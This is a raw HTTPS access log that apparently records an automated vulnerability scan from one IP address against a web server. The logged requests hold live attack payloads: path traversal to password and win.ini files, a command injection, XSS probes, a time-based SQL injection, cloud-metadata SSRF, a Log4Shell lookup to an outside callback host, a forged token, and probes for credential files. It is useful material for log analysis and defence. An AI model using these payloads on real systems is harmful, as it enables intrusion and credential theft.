[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 199
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/rapture/session HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/taskProc/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_netrc HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/jobs HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.example HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/token HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.npm/anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/c/d/android.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/status HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/shards.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vnc.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/tools/systemstatus_remote.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /npm-debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/auth/users/login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios/side.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graph_cms HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pages/login.htm HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927394422 HTTP/1.1" -
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagvis/frontend/nagvis-js/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__nuxt_vite_node__/module//bin/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://2852039166/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index/gettunnel HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.npmrc HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/backend/auth/signin HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexinv4/jexinv4.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /x_organization_assemble_authentication/jaxrs/authentication/captcha HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/database/manager HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /abs/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVersion HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecp/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ovirt-engine/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rgs/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/free-enterprise/license HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /packages.config HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuxeo/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PMUser/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /npm-shrinkwrap.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oab/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /op/generate.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/taskProc HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ews/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api?path=files&id=dfsse%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Wizard.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.stage HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index/install HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__nuxt_error?stack=%0A<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /action/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MRTG/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nagios4/status.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sys HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ghost.htm HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status%3E%3Cscript%3Ealert(7331)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/login HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/deploy.yml HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static///////../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nds HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/auth/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opcache-status/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /reviewInput.php?pid=1 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth-credentials.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website/lang/en_US?r=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /page/exportImport/uploadOperation.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css_parser.php?css=css_parser.php HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/shards/html HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/notificationx/v1/notification/1?api_key=0afd1aba016d54f5435932c99fe44d6b&id[1]=%3d(SELECT/**/1/**/WHERE/**/SLEEP(6)) HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /control/login HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jdkstatus HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://test.s3.amazonaws.com HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/npm-debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WAN_wan.htm?.gif HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rpc/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mylittleadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/openid-configuration HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /occ/v2/d2OzBcy HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nginx-status HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms8.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.npm/anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/verify HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json/v1.0/380CxmzV7VkUqJi3RFxxS2aFYzz@interact.sh?Protocol=Autodiscoverv1 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controller/config HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/SAML?=${jndi:ldap://${:-935}${:-475}.${hostName}.username.d5g6sfahausljekepl20zdu8usokp1axm.oast.site/6cUyF} HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.htm HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=stream HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mlb/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_nuxt/@fs/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user/login/login HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__nuxt_vite_node__/module/C:/Windows/System32/calc.exe HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ovirt-engine/userportal/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/ai-plugin.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254.nip.io/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mcx/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openapi.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ssi?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.1.json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/query.php HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/java.lang:type=Memory HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sfiler/Login.action HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ HTTP/1.1" 3003
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbossass/jbossass.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /nacos/v1/auth/users/?username=380Cy6OAJP6Dqe4GEPZbn5TiB9I&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1" 223
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin-ng/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocpu/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.nuget/packages.config HTTP/1.1" 196
